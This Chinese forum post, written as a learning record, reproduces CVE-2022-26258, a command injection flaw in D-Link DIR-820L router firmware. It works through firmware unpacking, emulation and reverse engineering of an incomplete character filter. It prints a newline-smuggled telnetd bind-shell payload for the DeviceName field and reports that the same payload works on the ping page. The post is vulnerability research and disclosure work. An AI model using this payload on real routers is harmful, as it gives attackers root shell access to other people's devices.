首页
社区
课程
招聘
命令注入漏洞CVE-2022-26258复现(学习记录)
2023-7-16 15:08 17618

命令注入漏洞CVE-2022-26258复现(学习记录)

2023-7-16 15:08
17618

0x01 漏洞信息

根据漏洞描述可得到几个关键词:远程命令执行、/lan.jsp页面、Device Name 参数、HTTP、POST、get set cpp。

0x02 固件分析

2.1 固件解包

使用binwalk对固件解包,获取文件系统:

1
binwalk -Me DIR820LA1_FW105B03.bin

2.2 关键信息查找

根据漏洞描述,查看www/lan.asp文件,并在该文件中查找DeviceName和get set ccp相关内容:

通过lan.asp源码可知在DEVICE_NAME处填入的参数会被拼接到paramStr中,然后函数copyDataToDataModelFormat将paramStr返回为提交参数传给submitParam.arg,传递的URL为get_set.ccp。这里应该是一个POST请求提交数据。在文件系统中查找一下关键词get set ccp:

1
grep -r "get_set"

在文件系统中查找关键词并没有发现名为“get_set.ccp”的文件,没有“get_set.ccp”文件,这个URL应该是交给后端处理,处理好之后将结果返回给用户。但在许多asp文件中都匹配到了get_set.ccp这个URL且有四个二进制文件中也匹配到了这个URL:

1
2
3
4
Binary file ./squashfs-root/bin/smbd matches
Binary file ./squashfs-root/bin/flash matches
Binary file sbin/ncc2 matches
Binary file lib/libapmib.so matches
  • bin/smbd程序是Samba服务器的一部分,它允许路由器用户与Windows客户端共享文件和打印机。Samba服务器是一个开源软件,它实现了SMB/CIFS协议,这是Windows操作系统使用的文件和打印机共享协议。bin/smbd程序是Samba服务器的核心组件之一,它提供了文件和打印机共享的功能。
  • bin/flash程序允许用户升级路由器固件,以获取最新的功能和安全补丁。它还可以用于还原路由器的出厂设置,以便在出现问题时恢复路由器的正常运行。
  • sbin/ncc2程序主要用于配置路由器的网络设置和管理路由器的各种功能。通过ncc2程序,用户可以轻松地设置无线网络、防火墙、端口转发等功能,使路由器的使用更加便捷和高效。
  • lib/libapmib.so是D-Link路由器系统中的一个库文件,它包含了许多重要的API和函数,用于实现路由器的各种功能。用户可以通过调用这些API和函数来访问和配置路由器的网络设置、无线网络、防火墙、端口转发等功能。

2.3 FirmAE 固件模拟

模拟成功后访问http://192.168.0.1 ,默认无密码,直接点击Log In即可。

访问http://192.168.0.1/lan.asp:

点击Save Settings 并通过burpsuite抓包查看:

DeviceName和页面内的其他数据被拼接到一起并POST给/get_set.ccp。根据上述信息逆向分析一下和网络相关且含get_set字符串的ncc2程序。

2.4 IDA 逆向分析

查找一下关键字“Device Name”。通过对比、分析最终定位到如下代码:

通过分析可知这段代码的功能是:获取Obj并判断Obj是否为含注入的字符串(hasInjectionString),如果有注入则释放Obj并退出,若没有注入则将Obj传给_system函数处理。hasInjectionString和_system函数都是导入函数。在文件系统中搜索一这两个函数字符串,找到了一个库文件:lib/libleopard.so

用IDA逆向分析libleopard.so文件,并直接去导出函数中定位hasInjectionString和_system:

通过伪代码可知过滤的字符仅5种,过滤不完全,因此我们可以使用其他字符比如换行(%0a)来注入执行命令。

_system函数的功能是拼接字符串并执行。

0x03 漏洞复现

3.1 根据CVE信息的复现

固件模拟并抓包修改lanHostCfg_DeviceName_1.1.1.0=后的数据为:

1
lanHostCfg_DeviceName_1.1.1.0=%0atelnetd -l /bin/sh -p 7080 -b 0.0.0.0%0a

含义为:启动一个telnet服务器并在端口7080上监听所有网络接口。该命令可以让远程用户通过telnet协议登录到该服务器并在/bin/sh shell中执行命令。以下是每个选项的解释:

  • telnetd: 启动telnet服务器的程序
  • -l /bin/sh: 指定登录后执行的shell程序为/bin/sh
  • -p 7080: telnet服务器监听的端口号为7080
  • -b 0.0.0.0: telnet服务器监听所有网络接口(IP地址为0.0.0.0)
  • %0a为换行的ASCII码。

使用nc连接7080端口获得shell:

上述是根据CVE漏洞披露的信息所做出的复现。实际在复现过程中发现不仅仅是通过HTTP POST to get set ccp存在远程命令执行。

3.2 发现新的RCE点

由于是因为字符串过滤不完全导致的命令注入,可以猜想所有HTTP POST且有可能执行的地方都可能存在这个漏洞。在路由后台中发现有一个ping测试页面:

通过抓包改包测试,发现同样存在RCE漏洞,且该漏洞并非存在于CVE所描述的get set ccp而是ping ccp。

在进一步测试中发现直接在ping处输入%0atelnetd -l /bin/sh -p 7080 -b 0.0.0.0%0a即可获得shell:

0x04 复现总结

在复现这个漏洞中发现2022年刚披露的信息和2023年有所不同,2022年的描述更具体,2023的变得模糊一些。刚开始以为是为了保护厂商,避免提示太明显容易被利用。后来在复现过程中发现应该是后续被验证漏洞点不仅仅是/lan.jsp页面、Device Name 参数,其他参数也存在同样的漏洞,所以2023的描述范围扩大为HTTP POST 的get set ccp。如果是这样那么现在发现不仅是get set ccp中存在漏洞点,ping ccp中同样存在。顺便提一下,去厂商的网站查了一下漏洞补丁,在补丁中hasInjectionString的过滤内容修改为:

0x05 参考文章


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2023-7-19 01:49 被伯爵的信仰编辑 ,原因:
上传的附件:
收藏
点赞6
打赏
分享
最新回复 (3)
雪    币: 12083
活跃值: (15459)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2023-7-17 09:36
2
0
感谢分享
雪    币: 19431
活跃值: (29092)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-7-17 09:59
3
1
感谢分享
雪    币: 12
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
DavidJou 2023-8-4 17:43
4
0
6
游客
登录 | 注册 方可回帖
返回